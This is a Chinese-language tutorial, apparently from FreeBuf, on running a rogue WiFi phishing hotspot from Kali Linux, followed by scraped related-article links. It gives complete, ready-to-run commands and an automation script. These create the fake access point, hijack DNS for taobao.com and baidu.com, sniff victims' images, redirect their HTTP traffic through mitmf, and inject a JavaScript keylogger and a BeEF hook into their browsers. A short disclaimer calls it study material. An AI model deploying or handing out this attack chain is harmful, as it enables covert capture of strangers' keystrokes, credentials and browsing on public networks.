利用Kali进行WiFi钓鱼测试实战
文中提及的部分技术可能带有一定攻击性,仅供安全学习和教学用途,禁止非法使用。请不要做一只咖啡馆里安静的猥琐大叔。
写在前面
从至少一年前我就一直想在自己跑kali的笔记本上架个钓鱼热点。然而由于网上的教程的nat写得有问题,别人写好的脚本和我电脑有些互不待见,最接近成功的一次只做到了qq能聊天,百度都上不去。
而最近忽然意识到了问题的所在,成功实现了建立wifi热点,dns劫持,js注入,图片嗅探,和BEEF结合对用户浏览器进行攻击测试。
故写此文分享给大家,希望与之前的我有一样困惑的同志们能有所收获。
建立热点
工具:isc-dhcp-server ;Aircrack-ng套件;iptables
建立过程:
首先写dhcp配置文件/etc/dhcp/dhcpd.conf
写入如下内容:
authoritative;
default-lease-time 700;
max-lease-time 8000;
subnet 10.0.0.0 netmask 255.255.255.0 {
option routers 10.0.0.1;
option subnet-mask 255.255.255.0;
option domain-name-servers 10.0.0.1;
range 10.0.0.10 10.0.0.100;
}
这里以10.0.0.1作为网关和dns服务器地址。
然后我们处理无线网卡
ifconfig wlan1 down #wlan1修改成你的网卡
iwconfig wlan1 mode monitor
ifconfig wlan1 up
airmon-ng start wlan1
上述命令可以防止出现:Error: Got channel -1, expected a value > 0.
然后用airbase建立热点
airbase-ng -e Fishing -c 11 mon0
热点的网络流量会被虚拟到at0这块网卡上面
ifconfig at0 up
ifconfig at0 10.0.0.1 netmask 255.255.255.0
route add -net 10.0.0.0 netmask 255.255.255.0 gw 10.0.0.1
打开ip转发
echo 1 > /proc/sys/net/ipv4/ip_forward
开启dhcp
dhcpd -cf /etc/dhcp/dhcpd.conf -pf /var/run/dhcpd.pid at0
service isc-dhcp-server start
然后可以试着用手机连接,应该可以连上但上不了网
于是配置NAT
iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE #对eth0进行源nat
iptables -A FORWARD -i wlan1 -o eth0 -j ACCEPT #把无线网卡流量转发到有线网卡(或者什么能上网的网卡)上面
iptables -A FORWARD -p tcp --syn -s 10.0.0.0/24 -j TCPMSS --set-mss 1356 #修改最大报文段长度
注意那第三个命令调整MSS,不加后果很严重(我就一直死在这里)
(这里可能还是DNS错误,请看后文中的dns代理服务器搭建)
劫持DNS
工具:dnschef
过程:
dnschef -i 10.0.0.1 --nameserver 210.73.64.1#53
上述命令是以ip10.0.0.1(上文中的fakeap网关和DNS的ip)建立dns,对于所有请求转发到210.73.64.1进行解析。显然这只是个"代理"并没有劫持的功效
于是我们进化:
dnschef --fakedomains=taobao.com,baidu.com --fakeip=10.0.0.1 -i 10.0.0.1 --nameserver 210.73.64.1#53
把淘宝和百度解析到本机了。

当然可以把更多规则写在文件里:

剩下的大家自由发挥吧。
p.s:这个和后文中mitmf冲突,mitmf识别http协议中的目的主机,进行转发,不受这个dns伪造影响。
图片嗅探
这是一个很好玩的功能
工具:driftnet
过程:
driftnet -i at0
然后程序会打开一个小窗口显示所有传输的图片:

单击图片保存到/
当然可以开启 Adjunct mode:
driftnet -i at0 -a
直接保存图片并显示文件名。

劫持Web流量
这个更好玩
工具:BEEF;mitmf;iptables
过程:
先把80端口的流量劫持走(这里10000是mitmf默认监听端口)
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
然后打开mitmf
mitmf -i at0 --replace --search-str aaaaa --replace-str bbbbb#把所有网页中的aaaaa替换成bbbbb

上图百度了aaaaa
好吧不要恶作剧了,上干货
mitmf -i at0 --inject --js-url http://10.0.0.1:3000/hook.js --jskeylogger
mitmf在这里注入了js键盘记录器

和beef的攻击测试脚本,其余的攻击方式(比如javapwn)可以参考http://www.freebuf.com/tools/45796.html
最后用BEEF测试用户浏览器吧!
/usr/share/beef-xss/beef
浏览器打开http://127.0.0.1:3000/ui/panel ,初始用户名和密码都是beef

BEEF过于高深我还没玩得很清楚请大家自行探索。对了,不要忘了抓包
最后是我写的脚本

#清空iptables
iptables -t nat -F
iptables -t nat -X
iptables -t nat -P PREROUTING ACCEPT
iptables -t nat -P POSTROUTING ACCEPT
iptables -t nat -P OUTPUT ACCEPT
iptables -t mangle -F
iptables -t mangle -X
iptables -t mangle -P PREROUTING ACCEPT
iptables -t mangle -P INPUT ACCEPT
iptables -t mangle -P FORWARD ACCEPT
iptables -t mangle -P OUTPUT ACCEPT
iptables -t mangle -P POSTROUTING ACCEPT
iptables -F
iptables -X
iptables -P FORWARD ACCEPT
iptables -P INPUT ACCEPT
iptables -P OUTPUT ACCEPT
iptables -t raw -F
iptables -t raw -X
iptables -t raw -P PREROUTING ACCEPT
iptables -t raw -P OUTPUT ACCEPT
#建立热点
airmon-ng stop mon0
ifconfig wlan1 down #wlan1修改成你的网卡
iwconfig wlan1 mode monitor
ifconfig wlan1 up
airmon-ng start wlan1 &
sleep 2
gnome-terminal -x bash -c "airbase-ng -e Fishing -c 11 mon0" #按需求修改
sleep 2
ifconfig at0 up
ifconfig at0 10.0.0.1 netmask 255.255.255.0
ifconfig at0 mtu 1400
route add -net 10.0.0.0 netmask 255.255.255.0 gw 10.0.0.1
echo 1 > /proc/sys/net/ipv4/ip_forward
#配置dhcp
dhcpd -cf /etc/dhcp/dhcpd.conf -pf /var/run/dhcpd.pid at0
sleep 2
/etc/init.d/isc-dhcp-server start
#nat
iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
iptables -A FORWARD -i wlan1 -o eth0 -j ACCEPT
iptables -A FORWARD -p tcp --syn -s 10.0.0.0/24 -j TCPMSS --set-mss 1356
#劫持80
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
#劫持dns
gnome-terminal -x bash -c "dnschef -i 10.0.0.1 --nameserver 210.73.64.1#53"
#打开beef并进行80js键盘记录
gnome-terminal -x bash -c "mitmf -i at0 --inject --js-url http://10.0.0.1:3000/hook.js --jskeylogger"
beef-xss
参考
http://xiao106347.blog.163.com/blog/static/215992078201463597381/
http://www.nigesb.com/setup-your-own-vpn-with-pptp.html
*作者:piece of the past(1005308775@qq.com),本文属FreeBuf原创奖励计划,未经许可禁止转载
利用Kali进行WiFi钓鱼测试实战的更多相关文章
- 电子证据 利用Kali进行wifi钓鱼实战详细教程
电子证据 利用Kali进行wifi钓鱼实战详细教程 一. Kali系统安装和必要软件安装: 1.Kali最新版可以来我这儿拿外置驱动和光盘装,目测用U盘装最新版有些问题,比较麻烦. 2.Kali更新源 ...
- 利用kali破解wifi密码
准备工具 1.笔记本 2.USB无线上网卡(必备) 3.kali系统 4.密码字典 第一种方法 暴力破解法 何为暴力破解呢,其实就是一个一个密码去试,直到正确的密码. 现在的wifi一般加密都是: 1 ...
- wifi钓鱼
无线网络的加密方式和破解方式 1.WEP加密及破解 1).WEP加密方式 有线等效保密(wired euivalent pricacy,WEP)协议的使用RC4(rivest cipher4)串流加密 ...
- Kali Linux Web 渗透测试视频教—第二十课-利用kali linux光盘或者usb启动盘破解windows密码
Kali Linux Web 渗透测试视频教—第二十课-利用kali linux光盘或者usb启动盘破解windows密码 文/玄魂 目录 Kali Linux Web 渗透测试视频教—第二十课-利用 ...
- Kali Linux Web 渗透测试视频教程— 第四课 google hack 实战
Kali Linux Web 渗透测试— 第四课 google hack 实战 文/玄魂 目录 shellKali Linux Web 渗透测试— 第四课 google hack 实战 课程目录 Go ...
- Kali Linux渗透测试实战 1.3 渗透测试的一般化流程
1.3 渗透测试的一般化流程 凡事预则立,不预则废,做任何事情都要有一个预先的计划.渗透测试作为测试学科的一个分支,早已形成了完整的方法论.在正式开始本书的实践教学章节之前,我也想谈一谈使用Kali ...
- 基础学习:社会工程学---利用Kali下的setoolkit进行钓鱼网站制作
利用Kali下的setoolkit进行钓鱼网站制作 1.打开kali2019,输入setoolkit,打开setoolkit模块 2.输入命令1,进入钓鱼攻击页面 3.输入命令2,进入web钓鱼攻击页 ...
- Kali Linux Web 渗透测试视频教程— 第二课 google hack 实战
Kali Linux Web 渗透测试— 第二课 代理简介 文/玄魂 课程地址: http://edu.51cto.com/course/course_id-1887.html 目录 shellKal ...
- 利用WiFi钓鱼法追邻居漂亮妹纸
假设,你的邻居是一个妹纸.漂亮单身,你,技术狗,家穷人丑,集体户口.像借酱油这种老套搭讪方式的成功率对你来说实在很低. 你要做的是了解她,然后接近她.通过搜集更多的情报,为创造机会提供帮助. 初级情报 ...
随机推荐
- c++ 网络编程(二) linux 下多进程socket通信 多个客户端与单个服务端交互代码实现回声服务器
原文作者:aircraft 原文链接:https://www.cnblogs.com/DOMLX/p/9612820.html 锲子-- 预备知识优雅的关闭套接字连接: 基于TCP的半关闭 TCP中的 ...
- Unity5.x在mac下的破解
工具下载 http://www.ceeger.com/forum/read.php?tid=23396&uid=24111 破解unity5.x版本亲测有效 但是他的说明不详细 下载后,里面有 ...
- LoadRunner使用
LoadRunner使用 软件版本:12.53 build 1203 操作系统: Windows7 以下内容摘录自LoadRunner的官方帮助文档. 介绍 LoadRunner现在是HP公司的产品, ...
- How to Install Eclipse C/C++ Development Tool--转
http://www3.ntu.edu.sg/home/ehchua/programming/howto/EclipseCpp_HowTo.html Eclipse 4.3 (Kepler) for ...
- Codeforces 156 A——Message——————【思维题】
A. Message time limit per test 2 seconds memory limit per test 256 megabytes input standard input ou ...
- Golang教程:数组和切片
数组 数组是类型相同的元素的集合.例如,整数 5, 8, 9, 79, 76 的集合就构成了一个数组.Go不允许在数组中混合使用不同类型的元素(比如整数和字符串). 声明 var variable_n ...
- kd-tree 小结
核心思想 是一种分割 \(k\) 维数据空间的数据结构 一维情况下就是平衡树,以 \(key\) 为标准判断插入左儿子还是右儿子 \(kdtree\) 就是平衡树在多维空间的扩展 因为有多维,我们按不 ...
- 常用工具说明--搭建基于rietveld的CodeReview平台(未测试)
为什么要codereview . 整个团队的编码风格是统一的. . 有高手能对自己的代码指点一二,从而提高编码水平. . 减少低级错误的出现 . 约束自己写高质量的代码,因为是要给人看的. 我们对co ...
- package.json中^符号和~符号前缀的区别
开发中经常会使用npm install 安装依赖包,经常会看到^符号和~符号,现将二者的区别总结如下: 版本号 x.y.z : z :表示一些小的bugfix, 更改z的号, y ...
- HttpResponse Entity的处理(将字符数组转为JSON)
1.问题背景 调用高德的IP地址查询接口,获取的返回值为字符串数组(如下); 因为这里只是纯字符串,并不是真正的数组,无法直接取值,所以想到看能不能转为数组或者JSON再进行取值. 2.解决: 通过在 ...